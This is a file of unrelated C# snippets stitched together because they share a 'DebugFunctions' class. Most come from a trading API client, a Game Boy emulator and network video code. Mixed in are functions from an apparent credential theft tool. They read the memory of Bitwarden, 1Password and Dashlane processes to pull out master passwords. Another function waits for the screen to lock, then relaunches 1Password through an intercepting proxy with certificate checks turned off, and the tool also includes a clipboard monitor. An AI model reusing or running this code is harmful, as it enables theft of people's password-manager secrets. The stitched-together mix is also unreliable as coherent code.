public static void EchoTransaction() { var _df = new DebugFunctions(Quik.DefaultPort); var sw = new Stopwatch(); Console.WriteLine("Started"); for (int round = 0; round < 10; round++) { sw.Reset(); sw.Start(); var count = 10000; var t = new Transaction(); var array = new Task <Transaction> [count]; for (int i = 0; i < array.Length; i++) { array[i] = _df.Echo(t); } for (int i = 0; i < array.Length; i++) { var res = array[i].Result; array[i] = null; } sw.Stop(); Console.WriteLine("MultiPing takes msecs: " + sw.ElapsedMilliseconds); } Console.WriteLine("Finished"); Console.ReadKey(); }
public static void EchoTransaction() { var _df = new DebugFunctions(Quik.DefaultPort); var sw = new Stopwatch(); Console.WriteLine("Started"); for (int round = 0; round < 10; round++) { sw.Reset(); sw.Start(); var count = 10000; var t = new Transaction(); var array = new Task<Transaction>[count]; for (int i = 0; i < array.Length; i++) { array[i] = _df.Echo(t); } for (int i = 0; i < array.Length; i++) { var res = array[i].Result; array[i] = null; } sw.Stop(); Console.WriteLine("MultiPing takes msecs: " + sw.ElapsedMilliseconds); } Console.WriteLine("Finished"); Console.ReadKey(); }
public override void RunThread() { while (mRun) { Byte[] receiveBytes = mUdpClient.Receive(ref mIPEndPoint); DebugFunctions.PrintChars("receive bytes:" + receiveBytes.Length.ToString() + "\n"); NewData(this, new DataEventArgs(ref receiveBytes)); using (var fileStream = new FileStream("data.bin", FileMode.Append, FileAccess.Write, FileShare.None)) { using (var bw = new BinaryWriter(fileStream)) { Byte[] len = BitConverter.GetBytes(receiveBytes.Length); bw.Write(len, 0, 2); bw.Write(receiveBytes, 0, receiveBytes.Length); } } /* * int fragment_type = receiveBytes[12] & 0x1f; * int nal_type = receiveBytes[13] & 0x1f; * int start_bit = Convert.ToInt32((receiveBytes[13] & 0x80) != 0); * int end_bit = Convert.ToInt32((receiveBytes[13] & 0x20) != 0); */ } }
public static void Ping() { var _df = new DebugFunctions(Quik.DefaultPort); var sw = new Stopwatch(); Console.WriteLine("Started"); for (int round = 0; round < 10; round++) { sw.Reset(); sw.Start(); var count = 10000; var array = new Task <string> [count]; for (int i = 0; i < array.Length; i++) { array[i] = _df.Ping(); } for (int i = 0; i < array.Length; i++) { var pong = array[i].Result; array[i] = null; Trace.Assert(pong == "Pong"); } //for (var i = 0; i < count; i++) { // var pong = qc.Ping().Result; // Trace.Assert(pong == "Pong"); //} sw.Stop(); Console.WriteLine("MultiPing takes msecs: " + sw.ElapsedMilliseconds); } Console.WriteLine("Finished"); Console.ReadKey(); }
protected override bool ProcessCmdKey(ref Message msg, Keys keyData) { if (keyData == Keys.F2) { State.StateSystem.saveState("save.state"); } if (keyData == Keys.F3) { State.StateSystem.loadState("save.state"); } if (keyData == Keys.F11) { DebugFunctions.Z80Form().DoStepInto(); DebugFunctions.CodeViewForm().GotoPC(); return(true); // indicate that you handled this keystroke } if (keyData == Keys.F10) { DebugFunctions.Z80Form().DoStepOver(); DebugFunctions.CodeViewForm().GotoPC(); return(true); // indicate that you handled this keystroke } if (keyData == Keys.F5) { DebugFunctions.Z80Form().DoStart(); return(true); // indicate that you handled this keystroke } if (keyData == Keys.F6) { DebugFunctions.Z80Form().DoStop(); return(true); // indicate that you handled this keystroke } // Call the base class return(base.ProcessCmdKey(ref msg, keyData)); }
public static void dumpBitwardenMaster() { //Process[] procs = Process.GetProcessesByName("Bitwarden.exe"); Process[] procs = Process.GetProcessesByName("BiTWarDen"); Console.WriteLine("[DEBUG] Number of Processes Found: {0}", procs.Length); foreach (var proc in procs) { DebugFunctions.writeDebug(String.Format("Enumerating Process: {0} - {1}", proc.Id, proc.ProcessName), Globals.DebugMode); string strResult = MemoryHelper.dumpProcessMemory(proc); //var matches = Regex.Matches(strResult, "offline_access").Cast<Match>().Select(m => m.Index); //foreach (var match in matches) //{ // Console.WriteLine(match); //} //Maybe convert this to a regex. Shouldn't take a long time and end with a cleaner result. if (strResult.Contains("\"amr\":[\"Application\"]}")) { DebugFunctions.writeDebug("Found String Indicator, attempting to pull password", Globals.DebugMode); int start, end; start = strResult.IndexOf("\"amr\":[\"Application\"]}", 0); end = start + 100; Console.WriteLine("[SUCCESS] Potential Bitwarden Password Location found! {0}", strResult.Substring(start, end - start).Split('\0')[1]); return; } else { Console.WriteLine("[-] Unable to locate Master Password in this process."); } } //endfor Console.WriteLine("[-] Unable to locate Master Password in any process."); }
public static bool loadState(string filename) { try { GameBoy.Cpu.Init(); DebugFunctions.ResetDebug(); FileStream fs = File.Open(filename, FileMode.Open, FileAccess.Read); int l = (int)fs.Length; byte[] ba = new byte[l]; fs.Read(ba, 0, l); fs.Close(); int startAdr = 0; long imageSize = BitConverter.ToInt64(ba, 0); startAdr += 8; startAdr += (int)imageSize; //CARTRIDGE startAdr = GameBoy.Cartridge.Unserialize(ref ba, startAdr); //MEM startAdr = GameBoy.Ram.Unserialize(ref ba, startAdr); //CPU startAdr = GameBoy.Cpu.Unserialize(ref ba, startAdr); GameBoy.Cpu.Start(); return(true); } catch (Exception e) { Console.Write(e); return(false); } }
public static void Ping() { var _df = new DebugFunctions(Quik.DefaultPort); var sw = new Stopwatch(); Console.WriteLine("Started"); for (int round = 0; round < 10; round++) { sw.Reset(); sw.Start(); var count = 10000; var array = new Task<string>[count]; for (int i = 0; i < array.Length; i++) { array[i] = _df.Ping(); } for (int i = 0; i < array.Length; i++) { var pong = array[i].Result; array[i] = null; Trace.Assert(pong == "Pong"); } //for (var i = 0; i < count; i++) { // var pong = qc.Ping().Result; // Trace.Assert(pong == "Pong"); //} sw.Stop(); Console.WriteLine("MultiPing takes msecs: " + sw.ElapsedMilliseconds); } Console.WriteLine("Finished"); Console.ReadKey(); }
////////////////////////////////////////////////////////////////////// // ////////////////////////////////////////////////////////////////////// public void ReadAt(ushort address, ushort lenght, ref char[] data) { DebugFunctions.ASSERT((address + lenght < (int)eMemoryMap.eMemoryMap_MemorySize), "ReadAt outside of memory !"); DebugFunctions.ASSERT((data.Length == lenght), "ReadAt wrong ref array size"); for (ushort i = 0; i < lenght; i++) { data[i] = (char)m_MemoryMap[address + i]; } }
////////////////////////////////////////////////////////////////////// // ////////////////////////////////////////////////////////////////////// public byte[] ReadAt(ushort address, ushort lenght) { DebugFunctions.ASSERT((address + lenght < (int)eMemoryMap.eMemoryMap_MemorySize), "ReadAt outside of memory !"); byte[] bOut = new byte[lenght]; for (ushort i = 0; i < lenght; i++) { bOut[i] = m_MemoryMap[address + i]; } return(bOut); }
public DebuggerForm() { InitializeComponent(); this.IsMdiContainer = true; this.Width = 1600; this.Height = 1200; this.Visible = true; this.KeyPreview = true; m_debugFunctions = new DebugFunctions(this); }
////////////////////////////////////////////////////////////////////// // ////////////////////////////////////////////////////////////////////// private void UpdateCpu() { if (m_halted) { //m_interruptsMgr.Update(); //return; byte b = 0; byte b1 = GameBoy.Ram.ReadByteAt(0xFF0F); byte b2 = GameBoy.Ram.ReadByteAt(0xFFFF); b = (byte)(b1 & b2); if (b != 0x00) { /* * The interrupt-enable flag and its corresponding interrupt request flag are set * IME = 0 (Interrupt Master Enable flag disabled) * Starting address: address following that of the HALT instruction * IME = 1 (Interrupt Master Enable flag enabled) * Starting address: each interrupt starting address */ if (m_ImeFlag) { m_interruptsMgr.Update(); } m_halted = false; } else { return; } } if (!m_DmaTransfertStarted) { if (GameBoy.IsDebuggerEnabled()) { if (!m_IsDebbugerReady) { m_IsDebbugerReady = DebugFunctions.IsReady(); } if (m_IsDebbugerReady && DebugFunctions.CodeViewForm().DoBreakIfNeeded(GameBoy.Cpu.PC)) { GameBoy.Cpu.Stop(); } if (m_IsDebbugerReady && RunOneInstruction(true)) { ReInitDebug(); } } else { RunOneInstruction(false); } } CheckDMA(); }
////////////////////////////////////////////////////////////////////// // //@return true / if instruction was NOP // ////////////////////////////////////////////////////////////////////// public bool RunOneInstruction(bool bDebugEnabled) { if (m_started || m_runOnce || m_runToStepOver) { bool bCanRun = bDebugEnabled ? DebugFunctions.Z80Form().CanStep() : true; if (bCanRun && (m_curInstruction == null || m_curInstructionCurCycle >= m_curInstructionNbCycles)) { if (m_interruptsMgr.Update()) { return(true); } else { byte opcode = 0; opcode = GameBoy.Ram.ReadByteAt(m_PC); m_curInstruction = m_decoder.GetNextInstruction(); if (m_curInstruction == null) { ThrowNullInstructionException(opcode, m_PC, bDebugEnabled); return(true); } if (m_runOnce) { m_runOnce = false; m_curInstructionCurCycle = m_curInstructionNbCycles; } if (bDebugEnabled) { DebugFunctions.CallStackForm().AddToCallstack(); } ushort oldPc = m_PC; m_PC = m_curInstruction.Exec(m_PC); m_curInstructionNbCycles = m_curInstruction.GetCurNbCycles(oldPc); m_curInstructionCurCycle = 4; GameBoy.Cpu.IncInstructionNumber(); if (m_runToStepOver && opcode == 0xC9) { m_runToStepOver = false; Stop(); } } } else { if (!m_halted) { //on avance 4 cycles par 4 cycles car le timer est a 1Mhz, donc x4 pour les 4Mhz de la GB m_curInstructionCurCycle += 4; } } return(true); } return(false); }
////////////////////////////////////////////////////////////////////// // ////////////////////////////////////////////////////////////////////// private void ThrowNullInstructionException(byte opcode, ushort pc, bool bDebugEnabled) { GameBoy.Cpu.Stop(); if (bDebugEnabled) { DebugFunctions.CallStackForm().AddToCallstack(); } string message = String.Format(" Wrong instruction, cannot be decoded (0x{0:x2}), PC = 0x{1:x4}", opcode, pc); string caption = "Error"; MessageBoxButtons buttons = MessageBoxButtons.OK; DialogResult result; result = MessageBox.Show(message, caption, buttons); }
/// <summary> /// Quik interface in .NET constructor /// </summary> public Quik(int port = DefaultPort, IPersistentStorage storage = null) { if (storage == null) { Storage = new EsentStorage(); } else { Storage = storage; } QuikService = QuikService.Create(port); // poor man's DI QuikService.Storage = Storage; Events = QuikService.Events; Debug = new DebugFunctions(port); Service = new ServiceFunctions(port); Class = new ClassFunctions(port); OrderBook = new OrderBookFunctions(port); Trading = new TradingFunctions(port); StopOrders = new StopOrderFunctions(port, this); Orders = new OrderFunctions(port, this); Candles = new CandleFunctions(port); QuikService.Candles = Candles; QuikService.StopOrders = StopOrders; }
////////////////////////////////////////////////////////////////////// // ////////////////////////////////////////////////////////////////////// public bool Update() { if (!m_interruptStarted) { if (GameBoy.Cpu.IMEStatus()) { for (int i = 0; i < (int)e_interrupt.__max_interrupts__; i++) { if (IsEnabled((e_interrupt)i) && IsRequested((e_interrupt)i)) { Reset_IF((e_interrupt)i); Reset_IME(); //save current PC adress GameBoy.Cpu.SP -= 0x02; GameBoy.Ram.WriteUshortAt(GameBoy.Cpu.SP, GameBoy.Cpu.PC); //jump to interrupt adress GameBoy.Cpu.PC = e_interrupts_startAdr[i]; if (DebugFunctions.CallStackForm() != null) { DebugFunctions.CallStackForm().AddInterruptToCallstack(i); } if (GameBoy.Cpu.IsHalted()) { GameBoy.Cpu.ResumeFromHalt(); } m_interruptStarted = true; m_interruptCurCycle = 4; return(true); } } } } else { m_interruptCurCycle += 4; if (m_interruptCurCycle >= INTERRUPT_NB_CYCLES) { m_interruptStarted = false; m_interruptCurCycle = 0; return(true); } } return(false); }
public static void LaunchWithProxy(bool force) { //Check if screen is locked. //Need to fix this because it only checks for a lock change notification, and doesn't determine if the screen is locked. if (!force) { DebugFunctions.writeDebug("Waiting for Screen to lock before bouncing application", Globals.DebugMode); Monitoring.CheckForWorkstationLocking workLock = new Monitoring.CheckForWorkstationLocking(); workLock.Run(); Console.WriteLine("Press ESC to exit..."); while (!workLock.screenLocked) { //wait a bit before checking again. System.Threading.Thread.Sleep(10000); } ; DebugFunctions.writeDebug("Screen lock notification recieved, continuing.", Globals.DebugMode); } string procPath = ""; Process[] procs = Process.GetProcessesByName("1Password"); if (procs.Length < 1) { DebugFunctions.writeDebug("No Processes found", Globals.DebugMode); } foreach (var proc in procs) { if (procPath == "") { procPath = proc.MainModule.FileName; DebugFunctions.writeDebug("Getting Process Path: " + procPath, Globals.DebugMode); } //Kill All current Running Processes. proc.Kill(); } DebugFunctions.writeDebug("Starting Process with New Arguments", Globals.DebugMode); Process bw = new Process(); bw.StartInfo.FileName = procPath; bw.StartInfo.Arguments = "--proxy-server=http://127.0.0.1:8888 --ignore-certificate-errors"; bw.Start(); }
private void RegisterInstruction(Z80Instruction inst) { byte[] opcodes = inst.opCodes; if (!inst.isBC) { for (byte i = 0; i < opcodes.Length; i++) { DebugFunctions.ASSERT(m_instructions[opcodes[i]] == null, "Overwriting instruction " + String.Format("{0:x2}", opcodes[i]) + " by " + inst.ToString()); m_instructions[opcodes[i]] = inst; } } else { for (byte i = 0; i < opcodes.Length; i++) { DebugFunctions.ASSERT(m_BCInstruction[opcodes[i]] == null, "Overwriting instruction !"); m_BCInstruction[opcodes[i]] = inst; } } }
public static void dumpDashlaneMaster() { Process[] procs = Process.GetProcessesByName("dashlane"); Console.WriteLine("[DEBUG] Number of Processes Found: {0}", procs.Length); foreach (var proc in procs) { DebugFunctions.writeDebug(String.Format("Enumerating Process: {0} - {1}", proc.Id, proc.ProcessName), Globals.DebugMode); DebugFunctions.writeDebug("Dumping Memory", Globals.DebugMode); string strResult = DebugFunctions.ReturnCleanASCII(MemoryHelper.dumpProcessMemory(proc).Replace("\0", string.Empty)); DebugFunctions.writeDebug("Parsing Memory Dump. Warning this could take a while.", Globals.DebugMode); //string r = @"\s{3}(.+)\s{3}receiveNotif"; string r = @"\s{3}(.+)\0{3}"; foreach (Match m in Regex.Matches(strResult, r)) { Console.WriteLine("[DEBUG] '{0}' found at index {1}", DebugFunctions.ReturnCleanASCII(m.Value), m.Index); } DebugFunctions.writeDebug("Finished", Globals.DebugMode); Console.ReadKey(); } }
public static void dumpDashLanePasswords() { Console.WriteLine("[!] Not Fully Implemented Yet!"); return; //I'll come back to you, I promise. Process[] procs = Process.GetProcessesByName("Dashlane"); Console.WriteLine("[DEBUG] Number of Processes Found: {0}", procs.Length); foreach (var proc in procs) { string strResult = DebugFunctions.ReturnCleanASCII(MemoryHelper.dumpProcessMemory(proc).Replace("\0", string.Empty)); DebugFunctions.writeDebug("Parsing Memory Dump", Globals.DebugMode); //string r = @"\s{3}(.+)\s{3}receiveNotif"; string r = @"CDATA"; foreach (Match m in Regex.Matches(strResult, r)) { Console.WriteLine("[DEBUG] '{0}' found at index {1}", DebugFunctions.ReturnCleanASCII(m.Value), m.Index); } DebugFunctions.writeDebug("Finished", Globals.DebugMode); Console.ReadKey(); } }
public RootLibary() { Test = new TestLibrary(); Debug = new DebugFunctions(); }
////////////////////////////////////////////////////////////////////// // ////////////////////////////////////////////////////////////////////// private void btn_StepInto_Click(object sender, EventArgs e) { DoStepInto(); DebugFunctions.CodeViewForm().GotoPC(); }
private void Awake() { Instance = this; Debug = FindObjectOfType <DebugFunctions>(); }
//Enable Cleartext Passwords and then read memory. /** * "security": { * "concealPasswords": false * }, **/ //Step 1. Add that line to the 1Password //Step 2. Dump Memory(?) //Step 3. Passwords public static void dump1passwordMaster() { //Process[] procs = Process.GetProcessesByName("Bitwarden.exe"); Process[] procs = Process.GetProcessesByName("1Password"); Console.WriteLine("[DEBUG] Number of Processes Found: {0}", procs.Length); foreach (var proc in procs) { DebugFunctions.writeDebug(String.Format("Enumerating Process: {0} - {1}", proc.Id, proc.ProcessName), Globals.DebugMode); #region oldcode /** * //IntPtr hProc = proc.Handle; * IntPtr hProc = WinAPI.OpenProcess(WinAPI.ProcessAccessFlags.QueryInformation | WinAPI.ProcessAccessFlags.VirtualMemoryRead, false, proc.Id); * WinAPI.MEMORY_BASIC_INFORMATION64 mbi = new WinAPI.MEMORY_BASIC_INFORMATION64(); * //32 bit * //WinAPI.MEMORY_BASIC_INFORMATION mbi = new WinAPI.MEMORY_BASIC_INFORMATION() * WinAPI.SYSTEM_INFO si = new WinAPI.SYSTEM_INFO(); * if (hProc == IntPtr.Zero) * { * //Failed. * Console.WriteLine("Unable to create a connection to the process! Error Code: {0}", WinAPI.GetLastError()); * Environment.Exit(6); * } * * WinAPI.GetSystemInfo(out si); * IntPtr hProc_min_addr = si.minimumApplicationAddress; * IntPtr hProc_max_addr = si.maximumApplicationAddress; * long hProc_long_min = (long)hProc_min_addr; * long hProc_long_max = (long)hProc_max_addr; * string fileName = "dump-" + proc.Id + "-" + proc.ProcessName + "-2.txt"; * StreamWriter sw = new StreamWriter(fileName); * * int bytesRead = 0; * * while (hProc_long_min < hProc_long_max) * { * bytesRead = WinAPI.VirtualQueryEx(hProc, hProc_min_addr, out mbi, (uint)Marshal.SizeOf(typeof(WinAPI.MEMORY_BASIC_INFORMATION64))); * if (mbi.Protect == WinAPI.PAGE_READWRITE && mbi.State == WinAPI.MEM_COMMIT) * { * byte[] buffer = new byte[mbi.RegionSize]; * WinAPI.ReadProcessMemory(hProc, mbi.BaseAddress, buffer, mbi.RegionSize, ref bytesRead); * for (long i = 0; i < mbi.RegionSize; i++) * { * sw.Write((char)buffer[i]); * } * } * hProc_long_min += mbi.RegionSize; * hProc_min_addr = new IntPtr(hProc_long_min); * } * sw.Close(); * **/ #endregion //Slightly Dirty, but keeping the <LF> conversion to help rule out False Positives in output. Will need to re-visit this most likely. //string strResult = File.ReadAllText(fileName).Replace("\n", "<LF>").Replace("\0", String.Empty); string strResult = MemoryHelper.dumpProcessMemory(proc).Replace("\n", "<LF>").Replace("\0", String.Empty); if (strResult.Contains("{\"name\":\"master-password\",\"value\":\"")) { DebugFunctions.writeDebug("Found JSON Indicator, attempting to pull password", Globals.DebugMode); int start, end; start = strResult.IndexOf("{\"name\":\"master-password\",\"value\":\"", 0) + 35; end = strResult.IndexOf(",\"type\":\"P\",\"designation\":\"password\"},{\"name\":\"account-key\"", 0) - 1; Console.WriteLine("[+] Potential 1Password Password Location found: {0}", strResult.Substring(start, end - start)); return; } else if (strResult.Contains("on 1password.com.<LF>")) { DebugFunctions.writeDebug("First pass through didn't find anything, testing backup", Globals.DebugMode); int start, end; string strStartSearch = "on 1password.com.<LF>"; start = strResult.IndexOf(strStartSearch, 0) + 20; end = strResult.IndexOf("<LF>secret key<LF>"); Console.WriteLine("[+] Potential 1Password Password Location found: {0}", strResult.Substring(start, end - start)); return; } else { Console.WriteLine("[-] Unable to locate Master Password :("); Console.ReadKey(); } Console.WriteLine("Fin. Press any key to exit"); Console.ReadKey(); } }
/* * Function: ParseSplit * Description: A two-part parser to allow the first section of the packet to be parsed. */ public byte ParseSplit(CircularFrameBuffer cfb, bool skip = false) { //lock (cfb.PeekData) { if (!skip) { data_0 = cfb.PeekData.Tdata1 >> 48; data_0 |= cfb.PeekData.Tdata2 << 16; data_1 = cfb.PeekData.Tdata2 >> 48; data_1 |= cfb.PeekData.Tdata3 << 16; data_2 = cfb.PeekData.Tdata3 >> 48; Version = (byte)((cfb.PeekData.Tdata1 >> 52) & 0x0f); if (Version != 4) { DebugFunctions.push_interrupt(DebugFunctions.Errors.ILLEGAL_PACKET_FORMAT); } IHL = (byte)((cfb.PeekData.Tdata1 >> 48) & 0x0f); if (IHL < 5 || IHL > 8) { DebugFunctions.push_interrupt(DebugFunctions.Errors.ILLEGAL_PACKET_FORMAT); } DSCP = (byte)((cfb.PeekData.Tdata1 >> 58) & 0x3F); ECN = (byte)((cfb.PeekData.Tdata1 >> 56) & 0x3); TotalLength = (uint)(cfb.PeekData.Tdata2 & 0x00ffff); Identification = (uint)((cfb.PeekData.Tdata2 >> 16) & 0x00ffff); Flags = (byte)((cfb.PeekData.Tdata2 >> 37) & 0x07); FragmentOffset = (uint)((((cfb.PeekData.Tdata2 >> 32) & 0x01f) << 8) | ((cfb.PeekData.Tdata2 >> 40) & 0x0ff)); TTL = (byte)((cfb.PeekData.Tdata2 >> 48) & 0x00ff); Protocol = (byte)((cfb.PeekData.Tdata2 >> 56) & 0x00ff); HeaderChecksum = (uint)cfb.PeekData.Tdata3 & 0x00ffff; SrcIp = (cfb.PeekData.Tdata3 >> 16) & 0x00ffffffff; _tmp_dest_ip = (cfb.PeekData.Tdata3 >> 48) & 0x00ffff; } if (!cfb.CanAdvance()) { return(2); } cfb.AdvancePeek(); if (IHL == 5) { data_2 |= (cfb.PeekData.Tdata0 & 0xffff) << 16; } else if (IHL == 6) { data_2 |= cfb.PeekData.Tdata0 << 16; if (IHL == 7) { data_3 = cfb.PeekData.Tdata0 >> 48; data_3 |= (cfb.PeekData.Tdata1 & 0xffff) << 16; } else if (IHL == 8) { data_3 = cfb.PeekData.Tdata0 >> 48; data_3 |= cfb.PeekData.Tdata1 << 16; } } DestIp = _tmp_dest_ip | ((cfb.PeekData.Tdata0 & 0x00ffff) << 16); } return(0); }
static void Main(string[] args) { var parsed = Args.Parse <MyArgs>(args); if (parsed.Debug) { Globals.DebugMode = true; Console.WriteLine("[DEBUG] Debug mode enabled. Outputting debug messages"); } //var outFile = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\"; //var cache = MemoryCache.Default.PhysicalMemoryLimit; //Command Line Options //Local Flag allowing the processing of a memory dump from the local machine. //Get Processes if (parsed.Monitor) { Console.WriteLine("[+] Starting Clipboard Monitor"); Monitoring.Start(); } if (parsed.Local) { Console.WriteLine("[!] Not Implemented (yet)"); } if (parsed.Proxy) { string[] supportedManagers = { "bitwarden", "1password" }; if (String.IsNullOrEmpty(parsed.Manager)) { Console.WriteLine("[!] Please specify a password manager with the -Manager flag!"); return; } if (!supportedManagers.Any(parsed.Manager.ToString().ToLower().Contains)) { Console.WriteLine("[!] Sorry, that password manager is not yet supported"); return; } new Thread(() => { Thread.CurrentThread.IsBackground = true; DebugFunctions.writeDebug("Starting Proxy. Press any key to quit.", Globals.DebugMode); ProxyHelper.startProxy(); }).Start(); switch (parsed.Manager.ToLower()) { case "bitwarden": BitWarden.LaunchWithProxy(parsed.Force); break; case "1password": _1Password.LaunchWithProxy(parsed.Force); break; } Console.ReadKey(); DebugFunctions.writeDebug("Stopping Proxy.", Globals.DebugMode); ProxyHelper.DoQuit(); DebugFunctions.writeDebug("Proxy stopped, Press any key to exit.", Globals.DebugMode); Console.ReadKey(); return; } else if (parsed.GetMaster) { switch (parsed.Manager.ToLower()) { case "bitwarden": Console.WriteLine("[+] Checking for Bitwarden Executables."); BitWarden.dumpBitwardenMaster(); Console.ReadKey(); break; case "1password": Console.WriteLine("[+] Checking for 1Password Executables."); _1Password.dump1passwordMaster(); break; case "keepass": //Initiate KeePass stuff. Console.WriteLine("[-] Not currently implemented for KeePass, but checked out HarmJ0y's KeeThief located at https://github.com/HarmJ0y/KeeThief"); break; case "dashlane": Dashlane.dumpDashlaneMaster(); break; default: Console.WriteLine("[-] Password manager not currently supported!"); break; } return; } else if (parsed.Dump) { if (String.IsNullOrEmpty(parsed.Manager)) { Console.WriteLine("[!] Please specify a password manager with the -Manager flag!"); return; } switch (parsed.Manager) { case "bitwarden": Console.WriteLine("[!] This functionality is not yet supported!"); break; default: Console.WriteLine("[!] This functionality is not yet supported!"); break; } return; } else { Console.WriteLine("[!] No Options Selected"); } }
public void PingWorks() { var df = new DebugFunctions(Quik.DefaultPort, Quik.DefaultHost); var pong = df.Ping().Result; }
private void btn_StepOver_Click(object sender, EventArgs e) { m_autoStep = true; DoStepOver(); DebugFunctions.CodeViewForm().GotoPC(); }
/* * Function: WriteToBuffer * Description: Deparse and write to a bufferentry */ public byte WriteToBuffer(CircularFrameBuffer.BufferEntry be, byte offset) { for (byte dataitem = 0; dataitem < 4; dataitem++) { ulong data; if (dataitem > 3) { return(0); } switch (dataitem) { case 0: data = SrcPort; break; case 1: data = DestPort; break; case 2: data = Length; break; case 3: data = Checksum; break; default: return(1); } var linenum = offset / 64; var lineoffset = offset % 64; if (lineoffset % 8 != 0) { DebugFunctions.push_interrupt(DebugFunctions.Errors.ILLEGAL_PACKET_FORMAT); } if (lineoffset <= 48) { switch (linenum) { case 0: be.Tdata0 = (be.Tdata0 & ~((ulong)0xffff << lineoffset)) | (data << lineoffset); break; case 1: be.Tdata1 = (be.Tdata1 & ~((ulong)0xffff << lineoffset)) | (data << lineoffset); break; case 2: be.Tdata2 = (be.Tdata2 & ~((ulong)0xffff << lineoffset)) | (data << lineoffset); break; case 3: be.Tdata3 = (be.Tdata3 & ~((ulong)0xffff << lineoffset)) | (data << lineoffset); break; } } else { switch (linenum) { case 0: be.Tdata0 = (be.Tdata0 & ~((ulong)0xffff << lineoffset)) | (data << lineoffset); be.Tdata1 = (be.Tdata1 & ~((ulong)0xffff >> (64 - lineoffset))) | (data >> (64 - lineoffset)); break; case 1: be.Tdata1 = (be.Tdata1 & ~((ulong)0xffff << lineoffset)) | (data << lineoffset); be.Tdata2 = (be.Tdata2 & ~((ulong)0xffff >> (64 - lineoffset))) | (data >> (64 - lineoffset)); break; case 2: be.Tdata2 = (be.Tdata2 & ~((ulong)0xffff << lineoffset)) | (data << lineoffset); be.Tdata3 = (be.Tdata3 & ~((ulong)0xffff >> (64 - lineoffset))) | (data >> (64 - lineoffset)); break; case 3: DebugFunctions.push_interrupt(DebugFunctions.Errors.ILLEGAL_PACKET_FORMAT); break; } } offset += 16; } return(0); }
public CustomLibrary() { Debug = new DebugFunctions(); }
private void refreshToolStripMenuItem_Click(object sender, EventArgs e) { DebugFunctions.DoRefresh(refreshToolStripMenuItem.Checked); }
private void button_reset_Click(object sender, EventArgs e) { m_cpu.Init(); DebugFunctions.ResetDebug(); }
public void ReceivingData() { while (!stopEvent.WaitOne(0, true)) { if (mServerStream.DataAvailable) { byte[] readBuffer = new byte[ReceiveBufferSize]; int numberOfBytesRead = 0, pos = 0; if (parsing_mode == ParsingMode.HEADER) { StringBuilder complegeMessage = new StringBuilder(); while (mServerStream.DataAvailable) { numberOfBytesRead = mServerStream.Read(readBuffer, 0, readBuffer.Length); complegeMessage.Append(Encoding.ASCII.GetString(readBuffer, 0, numberOfBytesRead)); } pos = parseData(complegeMessage.ToString()); DebugFunctions.PrintChars(complegeMessage.ToString()); if (pos == complegeMessage.Length) { SetCommand(current_command); } if (current_command == RtspCommand.PLAY) { if (CommandIsDone(current_command)) { nsvideo.SetDecodeParameter(sprop); nsvideo.Start(); parsing_mode = ParsingMode.DATA; } } } if (parsing_mode == ParsingMode.DATA) { while (mServerStream.DataAvailable) { numberOfBytesRead = mServerStream.Read(readBuffer, 0, readBuffer.Length); DebugFunctions.PrintChars("receieve " + numberOfBytesRead.ToString() + "\n"); /*using (var fileStream = new FileStream("data.bin", FileMode.Append, FileAccess.Write, FileShare.None)) * { * using (var bw = new BinaryWriter(fileStream)) * { * bw.Write(readBuffer, 0, numberOfBytesRead); * } * }*/ data.AddRange(readBuffer.SubArray(0, numberOfBytesRead)); if (data.Count > 4) { RTSPInterleavedFrame iFrame = new RTSPInterleavedFrame(data.GetRange(0, 4).ToArray()); if (data.Count >= (iFrame.Length + 4)) { nsvideo.PushMediaPacket(data.GetRange(4, iFrame.Length).ToArray()); data.RemoveRange(0, iFrame.Length + 4); } } } } } //end of if(mServerStream.DataAvailable) statement } //end of while(!stopEvent.WaitOne(0, true)) statement }